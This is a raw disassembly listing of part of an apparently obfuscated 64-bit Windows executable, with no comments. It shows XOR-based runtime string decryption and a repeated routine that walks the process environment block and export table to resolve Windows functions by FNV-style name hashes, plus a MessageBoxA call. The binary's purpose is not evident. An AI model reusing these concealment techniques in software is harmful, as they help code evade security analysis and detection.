add rax, r10
call rax
nop dword [rax]
cmp byte [0x1400b0fa7], 0
mov rax, qword [0x1400b0fa0]
mov qword [rbp + 0x6a0], rax
je 0x140082eb3
mov r8d, r13d
cmp r15d, 2
jl 0x140082e77
movd eax, xmm15
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
movdqa xmm2, xmm11
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x6a0]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm14
xorps xmm2, xmm1
punpckhdq xmm0, xmm14
movd dword [rbp + 0x6a0], xmm2
movdqa xmm1, xmm14
pmuldq xmm0, xmm10
movdqa xmm2, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x6a4]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x6a4], xmm2
jmp 0x140082eb3
lea r9, [rbp + 0x6a0]
nop
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x33
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x140082e80
lea rcx, [rbp + 0x6a0]
call fcn.14007cfe0
lea rcx, [rsp + 0x70]
test al, al
jne 0x140082ed7
mov qword [rsp + 0x70], rsi
call fcn.140079ff0
jmp 0x140082d70
mov qword [rsp + 0x70], 0x1e
call fcn.140079ff0
mov eax, dword [0x1400b0fe0]
mov r8d, r13d
mov dword [rbp + 0x6b8], eax
movzx eax, byte [0x1400b0fe4]
mov byte [rbp + 0x6bc], al
movups xmm0, xmmword [str.uUZR_]
movups xmmword [rbp + 0x6a0], xmm0
movsd xmm0, qword [0x1400b0fd8]
movsd qword [rbp + 0x6b0], xmm0
cmp r15d, 2
jl 0x14008305a
movdqa xmmword [rsp + 0x70], xmm15
lea rcx, [rbp + 0x6a4]
mov edx, dword [rsp + 0x70]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x140082f40
cmp r8d, 0x1d
jl 0x14008305a
movaps xmm1, xmm6
mov ecx, esi
call fcn.1400429e0
mov ecx, dword [0x1400b0fc0]
mov ebx, eax
mov dword [rbp + 0x7b0], ecx
movzx ecx, byte [0x1400b0fc4]
mov byte [rbp + 0x7b4], cl
jmp 0x1400830c6
movsxd rax, r8d
lea r9, [rbp + 0x6a0]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x33
xor byte [r9 - 1], al
cmp r8d, 0x1d
jl 0x140083070
movaps xmm1, xmm6
mov ecx, esi
call fcn.1400429e0
mov ebx, eax
mov eax, dword [0x1400b0fc0]
mov dword [rbp + 0x7b0], eax
movzx eax, byte [0x1400b0fc4]
mov byte [rbp + 0x7b4], al
mov r8d, r13d
movups xmm0, xmmword [0x1400b0fa8]
movups xmmword [rbp + 0x798], xmm0
movsd xmm0, qword [0x1400b0fb8]
movsd qword [rbp + 0x7a8], xmm0
cmp r15d, 2
jl 0x140083203
movdqa xmmword [rsp + 0x70], xmm15
lea rcx, [rbp + 0x79c]
mov edx, dword [rsp + 0x70]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x140083110
cmp r8d, 0x1d
jge 0x140083241
movsxd rax, r8d
lea r9, [rbp + 0x798]
add r9, rax
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x33
xor byte [r9 - 1], al
cmp r8d, 0x1d
jl 0x140083210
movss xmm3, dword [0x140239378]
lea r9, [rbp + 0x798]
movss xmm2, dword [0x14023937c]
lea rcx, [rbp + 0x3a0]
movaps xmm1, xmm2
movaps xmm0, xmm3
addss xmm1, dword [0x1400b1094]
addss xmm0, xmm9
addss xmm2, xmm8
unpcklps xmm0, xmm1
movaps xmm1, xmm3
unpcklps xmm1, xmm2
movq r8, xmm0
movq rdx, xmm1
call fcn.14007c250
mov rcx, qword [0x140239370]
lea r9, [rbp + 0x6a0]
mov r8d, ebx
mov qword [rsp + 0x20], r13
mov rdx, rax
call fcn.140057000
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140083335
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140083335
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0x2d676d7e
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140083330
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x140083310
cmp edx, 0x6a6e9021
je 0x14008333a
test r9d, r9d
jne 0x1400832f0
mov rax, qword [rax]
jmp 0x1400832c0
mov eax, dword [rbx + 0x24]
mov ecx, dword [rbx + 0x1c]
add rax, r10
add rcx, r10
movzx edx, word [rax + r9*2]
mov eax, dword [rcx + rdx*4]
mov ecx, 0xc8
add rax, r10
call rax
mov rcx, qword [rbp + 0x800]
cmp qword [rbp + 0x7f8], rcx
movups xmm2, xmmword [str.zZ_STLeoH__21_1__H]
cmovne rcx, qword [rbp + 0x7f8]
cmp byte [0x1400b1015], 0
movzx eax, word [0x1400b1014]
mov edx, dword [0x1400b1010]
mov qword [rbp + 0x800], rcx
movups xmmword [rbp + 0x798], xmm2
mov dword [rbp + 0x7a8], edx
mov word [rbp + 0x7ac], ax
je 0x140083611
mov r8d, r13d
cmp r15d, 2
jl 0x1400835d3
movd eax, xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
movdqa xmm2, xmm14
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
movd ecx, xmm15
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm10
movd dword [rbp + 0x798], xmm1
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x79c]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm7
xorps xmm2, xmm1
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm10
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm10
movd dword [rbp + 0x79c], xmm2
movdqa xmm2, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x7a0]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x7a0], xmm2
movdqa xmm2, xmmword [0x1400b4650]
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm10
punpckldq xmm1, xmm2
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
movd xmm1, dword [rbp + 0x7a4]
psubd xmm2, xmm0
andps xmm2, xmm12
movd xmm0, ecx
packuswb xmm2, xmm2
mov r8d, 0x14
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x7a4], xmm2
movdqa xmm2, xmmword [0x1400b4660]
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, edx
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x7a8], xmm2
mov eax, r8d
lea r9, [rbp + 0x798]
add r9, rax
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x33
xor byte [r9 - 1], al
cmp r8d, 0x16
jl 0x1400835e0
movaps xmm1, xmm6
mov ecx, esi
call fcn.1400429e0
cmp byte [0x1400b0ffd], 0
mov ebx, eax
movups xmm2, xmmword [0x1400b0fe8]
movzx ecx, word [0x1400b0ffc]
mov edx, dword [0x1400b0ff8]
movups xmmword [rsp + 0x70], xmm2
mov dword [rbp - 0x80], edx
mov word [rbp - 0x7c], cx
je 0x1400838a1
mov r8d, r13d
cmp r15d, 2
jl 0x140083862
movd eax, xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
movdqa xmm2, xmm14
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
movd ecx, xmm15
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm10
movd dword [rsp + 0x70], xmm1
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x74]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm7
xorps xmm2, xmm1
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm10
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm10
movd dword [rsp + 0x74], xmm2
movdqa xmm2, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x78]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x78], xmm2
movdqa xmm2, xmmword [0x1400b4650]
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm10
punpckldq xmm1, xmm2
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
movd xmm1, dword [rsp + 0x7c]
psubd xmm2, xmm0
andps xmm2, xmm12
movd xmm0, ecx
packuswb xmm2, xmm2
mov r8d, 0x14
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x7c], xmm2
movdqa xmm2, xmmword [0x1400b4660]
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, edx
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp - 0x80], xmm2
mov eax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop dword [rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x33
xor byte [r9 - 1], al
cmp r8d, 0x16
jl 0x140083870
movss xmm3, dword [0x140239378]
lea r9, [rsp + 0x70]
movss xmm2, dword [0x14023937c]
lea rcx, [rbp + 0x380]
movaps xmm1, xmm2
movaps xmm0, xmm3
addss xmm1, dword [0x1400b1094]
addss xmm0, xmm9
addss xmm2, xmm8
unpcklps xmm0, xmm1
movaps xmm1, xmm3
unpcklps xmm1, xmm2
movq r8, xmm0
movq rdx, xmm1
call fcn.14007c250
mov rcx, qword [0x140239370]
lea r9, [rbp + 0x798]
mov r8d, ebx
mov qword [rsp + 0x20], r13
mov rdx, rax
call fcn.140057000
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140083995
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140083995
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
mov edx, 0x85723d54
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140083990
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x140083970
cmp edx, 0xcc7bb17
je 0x14008399a
test r9d, r9d
jne 0x140083950
mov rax, qword [rax]
jmp 0x140083920
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx r8d, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
mov ecx, 0x1388
add rax, r10
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140083a45
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140083a45
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
mov edx, 0xcb971d3
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140083a40
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x140083a20
cmp edx, 0xc5953603
je 0x140083a4a
test r9d, r9d
jne 0x140083a00
mov rax, qword [rax]
jmp 0x1400839d0
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx r8d, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
jmp 0x1400845ee
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140083af5
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140083af5
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
mov edx, 0x34d59fae
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140083af0
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x140083ad0
cmp edx, 0x7d1f01f1
je 0x140083afa
test r9d, r9d
jne 0x140083ab0
mov rax, qword [rax]
jmp 0x140083a80
mov eax, dword [rbx + 0x24]
mov ecx, dword [rbx + 0x1c]
add rax, r10
add rcx, r10
movzx edx, word [rax + r9*2]
mov eax, dword [rcx + rdx*4]
mov ecx, 0x7d0
add rax, r10
call rax
lea rcx, [rsp + 0x70]
call fcn.14007c470
mov rdx, rax
lea rcx, [rbp + 0x7b8]
call fcn.1400319d0
lea rcx, [rsp + 0x70]
call fcn.1400319c0
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x70], 0x1e
call fcn.140079ff0
call fcn.140038de0
cmp qword [rax + 8], 0xffffffffffffffff
jne 0x140083b5f
call fcn.14007b8f0
call fcn.140038de0
mov rcx, rax
call fcn.140038b60
call fcn.140038de0
cmp qword [rax + 8], 0xffffffffffffffff
jne 0x140084e1d
mov eax, dword [str.zZSY7]
movups xmm2, xmmword [0x1400b0ef0]
mov edx, dword [str.1_35H]
mov dword [rbp + 0x70], eax
movzx eax, byte [0x1400b0f0c]
xor byte [rbp + 0x71], 0x34
xor al, 0x37
xor byte [rbp + 0x72], 0x35
xor byte [rbp + 0x73], 0x36
cmp byte [0x1400b0f05], 0
mov byte [rbp + 0x74], al
movzx eax, word [0x1400b0f04]
mov word [rbp - 0x7c], ax
mov byte [rbp + 0x70], 0x49
movups xmmword [rsp + 0x70], xmm2
mov dword [rbp - 0x80], edx
je 0x140083e22
mov r8d, r13d
cmp r15d, 2
jl 0x140083de6
movd eax, xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
movdqa xmm2, xmm14
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
movd ecx, xmm15
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm10
movd dword [rsp + 0x70], xmm1
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x74]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm7
xorps xmm2, xmm1
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm10
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm10
movd dword [rsp + 0x74], xmm2
movdqa xmm2, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x78]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x78], xmm2
movdqa xmm2, xmmword [0x1400b4650]
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm10
punpckldq xmm1, xmm2
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
movd xmm1, dword [rsp + 0x7c]
psubd xmm2, xmm0
andps xmm2, xmm12
movd xmm0, ecx
packuswb xmm2, xmm2
mov r8d, 0x14
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x7c], xmm2
movdqa xmm2, xmmword [0x1400b4660]
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, edx
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp - 0x80], xmm2
mov eax, r8d
lea r9, [rsp + 0x70]
add r9, rax
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x33
xor byte [r9 - 1], al
cmp r8d, 0x16
jl 0x140083df1
mov r9d, 0x10
lea r8, [rbp + 0x70]
lea rdx, [rsp + 0x70]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140083ec5
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140083ec5
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0xe3929edd
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140083ec0
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x140083ea0
cmp edx, 0xb7da5ba0
je 0x140083eca
test r9d, r9d
jne 0x140083e80
mov rax, qword [rax]
jmp 0x140083e50
mov eax, dword [rbx + 0x24]
mov ecx, dword [rbx + 0x1c]
add rax, r10
add rcx, r10
movzx edx, word [rax + r9*2]
mov eax, dword [rcx + rdx*4]
mov ecx, 0xc8
add rax, r10
call rax
mov rcx, qword [rbp + 0x800]
cmp qword [rbp + 0x7f8], rcx
movups xmm2, xmmword [0x1400b0f28]
cmovne rcx, qword [rbp + 0x7f8]
cmp byte [0x1400b0f3d], 0
movzx eax, word [0x1400b0f3c]
mov edx, dword [0x1400b0f38]
mov qword [rbp + 0x800], rcx
movups xmmword [rbp + 0x798], xmm2
mov dword [rbp + 0x7a8], edx
mov word [rbp + 0x7ac], ax
je 0x1400841a1
mov r8d, r13d
cmp r15d, 2
jl 0x140084163
movd eax, xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
movdqa xmm2, xmm14
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
movd ecx, xmm15
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm10
movd dword [rbp + 0x798], xmm1
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x79c]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm7
xorps xmm2, xmm1
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm10
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm10
movd dword [rbp + 0x79c], xmm2
movdqa xmm2, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x7a0]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
